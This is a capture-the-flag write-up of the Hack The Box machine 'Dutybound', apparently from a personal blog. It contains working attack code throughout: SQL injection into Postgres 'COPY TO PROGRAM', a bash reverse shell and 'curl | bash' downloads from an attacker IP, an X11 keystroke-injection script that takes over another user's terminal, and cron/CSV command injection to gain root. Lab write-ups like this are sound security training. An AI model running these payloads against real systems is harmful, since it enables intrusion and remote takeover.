~/ Home Projects Tools Link
Writeups
hackthebox/
  • 2million
  • Facts
  • Checkpoint
  • Enigma
  • Nimbus
  • Reactor
  • Layover
  • Stream
  • Dutybound
  • tryhackme/
  • Highschool
  • Ignite
  • JokerCTF
  • Lazy Admin
  • Lightroom
  • Lookup
  • Love Connect
  • Love note
  • Pyrat
  • Startup
  • Tryheartme
  • Valenfind
  • Valley
  • When hearts collide
  • Wonderland
  • yeswehack/
  • Streamcore
  • Highscore
  • HTB - Dutybound - Season 12


    Reconnaissance:

    We first look at the address for anything running using nmap, I did some fuzzing but everything is directly visible from the browsers links. Add something to the cart and go to the checkout and from there we’re going to try and send data to pass the boarding pass scanner.

    nmap -sV -v -sC $TARGET

    PORT    STATE SERVICE  VERSION
    22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.18 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
    |_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
    80/tcp  open  http     nginx 1.18.0 (Ubuntu)
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-title: Did not follow redirect to https://airsnacks.htb/
    443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
    | http-methods: 
    |_  Supported Methods: HEAD GET OPTIONS
    |_ssl-date: TLS randomness does not represent time
    | tls-nextprotoneg: 
    |_  http/1.1
    | ssl-cert: Subject: commonName=airsnacks.htb
    | Issuer: commonName=airsnacks.htb
    | Public Key type: rsa
    | Public Key bits: 2048
    | Signature Algorithm: sha256WithRSAEncryption
    | Not valid before: 2026-08-26T08:17:18
    | Not valid after:  2126-08-02T08:17:18
    | MD5:     92f2 09e0 42c0 a192 764c a405 9309 aeda
    | SHA-1:   ebe4 fd3a 6ebd eb87 2399 e567 bbd9 d95f 9b8a 98bd
    |_SHA-256: 76b0 4f78 36d9 e72a ddd7 6569 b866 6a86 0d75 8487 f466 3ebb 621b b8a9 4043 6e0e
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    | tls-alpn: 
    |_  http/1.1
    |_http-title: Welcome \xC2\xB7 AirSnacks Self-Checkout
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    IATA BCBP: BCBP Pass online generator

    BCBP payload:

    M1SMITH/JOHN          EABCD123JFKLAXAA 0001 300F012A0040 136>70B1KK6260BAA 25001

    Explainations: - M - This is a mandatory field, it declares that the BCBP starts here. - 1 - Is the number of flight legs - SMITH/JOHN - Last name / First name - E - For Electric tickets - ABCD123 - Reservation number - JFK - Origin airport - LAX - Destination airport - AA - Operation carrier(American Airlines) - 0001 - Flight number(leading 0’s) - 300 - Julian day 300 of the year. - F - Compartment code(First class) - 012A - Seat number(12A) - 0040 - Check-in number - 1 - Status: Checked-in.

    Payload all the things postgres in this section we find a working payload to exploit the underlying Postgres worker.

    '); COPY (SELECT '') TO PROGRAM 'curl http://10.10.15.4:6969/test';-- 

    This payload confirms command execution onto the server in a out-of-band manner, it sends the confirmation to our listener.

    Use this script:

    #!/usr/bin/env python3
    import sys
    import requests
    
    BASE = "https://airsnacks.htb"
    
    def boarding_pass(airline_use: str, origin: str = "LHR") -> str:
        fixed = (
            f"M1{'TEST/USER':<20}E{'ABC123':<7}"
            f"{origin:<3}{'JFK':<3}{'BA':<3}{'0123':<5}"
            f"298Y{'012A':<4}{'0001A':<5}1"
        )
        conditional = ">70B0WW6298BBA 03125" + airline_use
        assert len(fixed) == 58
        assert len(conditional) <= 255
        return fixed + f"{len(conditional):02X}" + conditional
    
    session = requests.Session()
    session.verify = False
    requests.packages.urllib3.disable_warnings()
    session.post(BASE + "/cart/add", json={"sku": "SNK-CRN"})
    response = session.post(
        BASE + "/checkout/boarding-pass/verify",
        json={"raw": boarding_pass(sys.argv[1])},
    )
    print(response.status_code, response.text)

    This doesn’t use the BCBP payload we created earlier but for some reason, you can’t send the SQLi using curl, burpsuite or NXC. The python script works so let’s just move on.

    Reverse shell script:

    #!/bin/bash
    bash -i >& /dev/tcp/10.10.15.4/6969 0>&1

    Run the script and send this SQLi:

    python3 bgbp.py "'); COPY (SELECT '') TO PROGRAM 'curl http://10.10.15.4:8000/rev.shell | bash >/dev/null 2>&1 &';-- "

    Make sure you are hosting the file before trying to make the server download the file. Make sure you have a listener to catch the shell.

    You should receive a reverse shell tied to user postgres.


    Foothold:

    In order to change user from postgres user to dutyfree-kiosk user we find that “CTRL+ALT+T” key combination should open a xterm window owned by dutyfree-kiosk. Since we aren’t in a GUI we need to send those keys programmatically so we use python.

    from Xlib import X, XK, display
    from Xlib.ext import xtest
    import time
    
    d = display.Display(":0")
    
    def key(name, down):
        code = d.keysym_to_keycode(XK.string_to_keysym(name))
        xtest.fake_input(d, X.KeyPress if down else X.KeyRelease, code)
    
    key("Control_L", True)
    key("Alt_L", True)
    key("t", True)
    key("t", False)
    key("Alt_L", False)
    key("Control_L", False)
    d.sync()
    time.sleep(1)

    The above code allows the attacker to send “CTRL+ALT+T” key presses. Host the file from the attacker machine with python3 -m http.server and download the file onto the server by running curl "http://10.10.15.4:6969/keypress.py > keypress.py". Run keypress.py on the server and check ps -u dutyfree-kiosk -f this should show all processes owned by dutyfree-kiosk and in the newest running application you should see the XTERM generated by keypress.py. Once you confirm you indeed generate a XTERM under the dutyfree-kiosk user we run the payload.py, this sends a curl command that downloads another shell and runs it as dutyfree-kiosk resulting in a privilege escalation.

    Keypress.py:

    from Xlib import X, XK, display
    from Xlib.ext import xtest
    import time
    
    d = display.Display(":0")
    
    def key(name, down):
        code = d.keysym_to_keycode(XK.string_to_keysym(name))
        xtest.fake_input(d, X.KeyPress if down else X.KeyRelease, code)
    
    # Keys being pressed
    key("Control_L", True)
    key("Alt_L", True)
    key("t", True)
    key("t", False)
    key("Alt_L", False)
    key("Control_L", False)
    d.sync()
    time.sleep(1)

    This script uses some of the libraries on the victim server and connects to a running session on DISPLAY=:0. Next the script presses the keys “CTRL+ALT+T” and releases the keys.

    Payload.py:

    from Xlib import X, XK, display
    from Xlib.ext import xtest
    import time
    
    d = display.Display(":0")
    names = {" ": "space", ":": "colon", "/": "slash",
             ".": "period", "|": "bar"}
    
    def tap(char):
        sym = XK.string_to_keysym(names.get(char, char))
        code = d.keysym_to_keycode(sym)
        if not code:
            raise ValueError(f"No keycode for {char!r}")
        shifted = d.keycode_to_keysym(code, 0) != sym
        shift = d.keysym_to_keycode(XK.string_to_keysym("Shift_L"))
        if shifted:
            xtest.fake_input(d, X.KeyPress, shift)
        xtest.fake_input(d, X.KeyPress, code)
        xtest.fake_input(d, X.KeyRelease, code)
        if shifted:
            xtest.fake_input(d, X.KeyRelease, shift)
        d.sync()
        time.sleep(0.03)
    
    # OS command you want to execute 
    for char in "curl http://10.10.15.4:8000/rev.sh|bash":
        tap(char)
    tap("Return")

    The tap() function defined is used to simulated key presses and we simulate all key presses for an OS command of our choosing. Again this is send onto DISPLAY=:0.

    Make sure you have a running python http server hosting your reverse shell file. Make sure you are using a different port for the listener then the one currently being used. Make sure you have a netcat listener on the new port number to catch the dutyfree-kiosk user shell.

    You should now be able to read the user flag.

    The shell dies sometimes so let’s get a better connection with ssh.

    1. Generate a key pair onto the server with ssh-keygen -t rsa -b 4096.
    2. Generate a authorized_keys folder with touch authorized_keys in /home/dutyfree-kiosk/.ssh/.
    3. Add public key to authorized_keys.
    4. Copy keys to attacker and set permissions chmod 600 id_rsa.
    5. Connect with ssh -i id_rsa dutyfree-kiosk@$TARGET.

    You now have a fully functional SSH connection to the dutyfree-kiosk user.


    Root user:

    This part is unbelievably simple. Go to /opt/vrs/bin, there should be 2 files here.

    vrs-dcs-sync.cron content:

    15 2 * * * airsnacksdf /usr/bin/psql -d airsnacks -c "DELETE FROM duty_rate; COPY duty_rate FROM PROGRAM 'cat /opt/vrs/data/duty-rates.csv' WITH (FORMAT csv)"

    apply-duty-rates.sh:

    RATES="/opt/vrs/data/duty-rates.csv"
    ...
    ...
    ...
    # Replace table
    psql -v ON_ERROR_STOP=1 -qc \
        "DELETE FROM duty_rate; COPY duty_rate FROM PROGRAM 'cat $RATES' WITH (FORMAT csv);"

    The root user runs the content of /opt/vrs/data/duty-rates.csv as the root user. We prepend a shell to the csv.

    Root shell fetch:

    true;curl -s "http://10.10.15.4:8000/root.sh|bash;#,6,9"

    This is then passed in to eval "${tax_class}=${duty_pct}" which executes the payload as root, sending a root sell to the listener inside our root.sh.

    You can read the root flag now.